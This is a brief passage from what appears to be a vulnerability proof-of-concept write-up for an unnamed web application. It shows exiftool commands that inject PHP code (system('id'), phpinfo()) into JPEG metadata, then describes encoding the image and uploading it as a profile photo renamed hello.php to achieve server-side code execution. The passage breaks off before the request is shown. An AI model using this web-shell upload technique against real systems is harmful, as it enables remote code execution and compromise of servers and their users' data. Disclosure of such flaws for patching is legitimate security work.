2. Technical Details & POC
========================================
#First of all, we need to inject the php codes into the metadata of any jpeg file with exiftool. (for example)

exiftool -overwrite_original -comment="<?php system('id'); ?>" index.jpeg
exiftool -overwrite_original -DocumentName="<?php phpinfo(); ?>" index.jpeg

#after that we need to get the base64 code of the image (i used this site)
 https://h3yy0.csb.app/



#and we have to do url encoding


#now we have to upload profile photo

Poc request  (I changed the file name to hello.php and and pasted our base 64 code)
